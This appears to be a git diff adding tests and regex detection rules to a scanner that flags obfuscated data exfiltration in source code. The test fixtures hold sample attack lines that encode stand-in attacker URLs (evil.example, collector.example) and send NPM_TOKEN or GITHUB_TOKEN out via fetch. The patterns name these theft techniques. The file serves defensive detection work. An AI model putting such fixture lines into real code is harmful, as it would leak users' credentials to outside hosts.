diff --git a/scanner/package.json b/scanner/package.json index a71b58fe..64ab4c9a 100644 --- a/scanner/package.json +++ b/scanner/package.json @@ -6,6 +6,7 @@ "type": "module", "scripts": { "build": "tsc", + "test": "npm run build && node --test dist/obfuscated-exfiltration.test.js", "start": "node dist/index.js", "dev": "tsx watch src/index.ts", "scan": "tsx src/cli.ts" diff --git a/scanner/src/obfuscated-exfiltration.test.ts b/scanner/src/obfuscated-exfiltration.test.ts new file mode 100644 index 00000000..e3d1b7ca --- /dev/null +++ b/scanner/src/obfuscated-exfiltration.test.ts @@ -0,0 +1,94 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { analyzeContent } from './analyzer.js'; + +function patternIdsFor(source: string): string[] { + return analyzeContent(source).findings.map((finding) => finding.patternId); +} + +test('detects base64 encoded HTTPS exfiltration URLs with atob', () => { + const ids = patternIdsFor(` + const u = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvY29sbGVjdA=="); + fetch(u, { method: "POST", body: process.env.NPM_TOKEN }); + `); + + assert.ok(ids.includes('EXFIL_BASE64_URL')); +}); + +test('detects base64 encoded HTTP exfiltration URLs with Buffer.from', () => { + const ids = patternIdsFor(` + const endpoint = Buffer.from("aHR0cDovL2NvbGxlY3Rvci5leGFtcGxlL2E=", "base64").toString(); + request(endpoint); + `); + + assert.ok(ids.includes('EXFIL_BASE64_URL')); +}); + +test('detects hex encoded HTTPS exfiltration URLs in JavaScript', () => { + const ids = patternIdsFor(` + const target = Buffer.from("68747470733a2f2f6576696c2e6578616d706c652f6c6f67", "hex").toString(); + fetch(target); + `); + + assert.ok(ids.includes('EXFIL_HEX_URL')); +}); + +test('detects hex encoded HTTPS exfiltration URLs in Python', () => { + const ids = patternIdsFor(` + import bytes + target = bytes.fromhex("68747470733a2f2f6576696c2e6578616d706c652f737465616c") + `); + + assert.ok(ids.includes('EXFIL_HEX_URL')); +}); + +test('detects JavaScript charcode URL construction', () => { + const ids = patternIdsFor(` + const url = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 101, 118, 105, 108); + `); + + assert.ok(ids.includes('EXFIL_CHARCODE_URL')); +}); + +test('detects Python chr URL construction', () => { + const ids = patternIdsFor(` + url = chr(104) + chr(116) + chr(116) + chr(112) + chr(115) + chr(58) + `); + + assert.ok(ids.includes('EXFIL_CHARCODE_URL')); +}); + +test('detects reversed HTTPS URLs', () => { + const ids = patternIdsFor(` + const endpoint = "moc.elpmaxe.live//:sptth".split("").reverse().join(""); + `); + + assert.ok(ids.includes('EXFIL_REVERSED_URL')); +}); + +test('detects encoded npm token exfiltration', () => { + const ids = patternIdsFor(` + const token = Buffer.from(process.env.NPM_TOKEN).toString("base64"); + fetch("https://collector.example/log", { method: "POST", body: token }); + `); + + assert.ok(ids.includes('EXFIL_OBFUSCATED_ENV_SEND')); +}); + +test('detects encoded GitHub token exfiltration before outbound request', () => { + const ids = patternIdsFor(` + fetch(endpoint, { body: btoa(process.env.GITHUB_TOKEN) }); + `); + + assert.ok(ids.includes('EXFIL_OBFUSCATED_ENV_SEND')); +}); + +test('does not flag benign base64 image data or public config', () => { + const ids = patternIdsFor(` + const logo = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA"; + const apiUrl = process.env.PUBLIC_API_URL; + `); + + assert.equal(ids.includes('EXFIL_BASE64_URL'), false); + assert.equal(ids.includes('EXFIL_OBFUSCATED_ENV_SEND'), false); +}); diff --git a/scanner/src/patterns.ts b/scanner/src/patterns.ts index f2e61e23..4c117f3b 100644 --- a/scanner/src/patterns.ts +++ b/scanner/src/patterns.ts @@ -71,6 +71,46 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ pattern: /btoa\s*\(|Buffer\.from\(.*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)/gi, category: 'exfiltration' }, + { + id: 'EXFIL_BASE64_URL', + name: 'Base64 Encoded Exfiltration URL', + description: 'Encoded http(s) endpoint used to hide an exfiltration destination', + severity: 'critical', + pattern: /(?:atob|Buffer\.from)\s*\(\s*['"`](?:aHR0cHM6Ly|aHR0cDovL)[A-Za-z0-9+/=]{8,}['"`](?:\s*,\s*['"`]base64['"`])?/gi, + category: 'exfiltration' + }, + { + id: 'EXFIL_HEX_URL', + name: 'Hex Encoded Exfiltration URL', + description: 'Hex encoded http(s) endpoint used to hide an exfiltration destination', + severity: 'critical', + pattern: /(?:Buffer\.from|bytes\.fromhex|binascii\.unhexlify)\s*\(\s*['"`](?:68747470733a2f2f|687474703a2f2f)[0-9a-f]{12,}['"`]\s*(?:,\s*['"`]hex['"`])?/gi, + category: 'exfiltration' + }, + { + id: 'EXFIL_CHARCODE_URL', + name: 'CharCode Constructed Exfiltration URL', + description: 'HTTP endpoint constructed from character codes', + severity: 'critical', + pattern: /(?:String\.fromCharCode\s*\(\s*104\s*,\s*116\s*,\s*116\s*,\s*112|(?:chr\s*\(\s*104\s*\)\s*\+\s*)?chr\s*\(\s*104\s*\)\s*\+\s*chr\s*\(\s*116\s*\)\s*\+\s*chr\s*\(\s*116\s*\)\s*\+\s*chr\s*\(\s*112\s*\))/gi, + category: 'exfiltration' + }, + { + id: 'EXFIL_REVERSED_URL', + name: 'Reversed Exfiltration URL', + description: 'HTTP endpoint hidden by reversing a string before use', + severity: 'high', + pattern: /['"`][^'"`]{6,}\/\/:s?ptth['"`]\s*\.split\s*\(\s*['"`]{0,2}\s*['"`]{0,2}\s*\)\s*\.reverse\s*\(\s*\)\s*\.join\s*\(\s*['"`]{0,2}\s*['"`]{0,2}\s*\)/gi, + category: 'exfiltration' + }, + { + id: 'EXFIL_OBFUSCATED_ENV_SEND', + name: 'Obfuscated Credential Exfiltration', + description: 'Environment secrets are encoded or obfuscated near an outbound transmission', + severity: 'critical', + pattern: /(?:process\.env|os\.environ)[\s\S]{0,400}(?:TOKEN|SECRET|PASSWORD|PRIVATE|KEY|AWS_|NPM_|GITHUB_)[\s\S]{0,400}(?:btoa|Buffer\.from|base64|hex|String\.fromCharCode|atob|reverse\s*\(|encodeURIComponent)[\s\S]{0,400}(?:fetch|axios|request|requests\.post|urllib3|https?\.request|sendBeacon)|(?:fetch|axios|request|requests\.post|urllib3|https?\.request|sendBeacon)[\s\S]{0,400}(?:btoa|Buffer\.from|base64|hex|String\.fromCharCode|atob|reverse\s*\(|encodeURIComponent)[\s\S]{0,400}(?:process\.env|os\.environ)[\s\S]{0,400}(?:TOKEN|SECRET|PASSWORD|PRIVATE|KEY|AWS_|NPM_|GITHUB_)/gi, + category: 'exfiltration' + }, // === HIGH: Credential access === {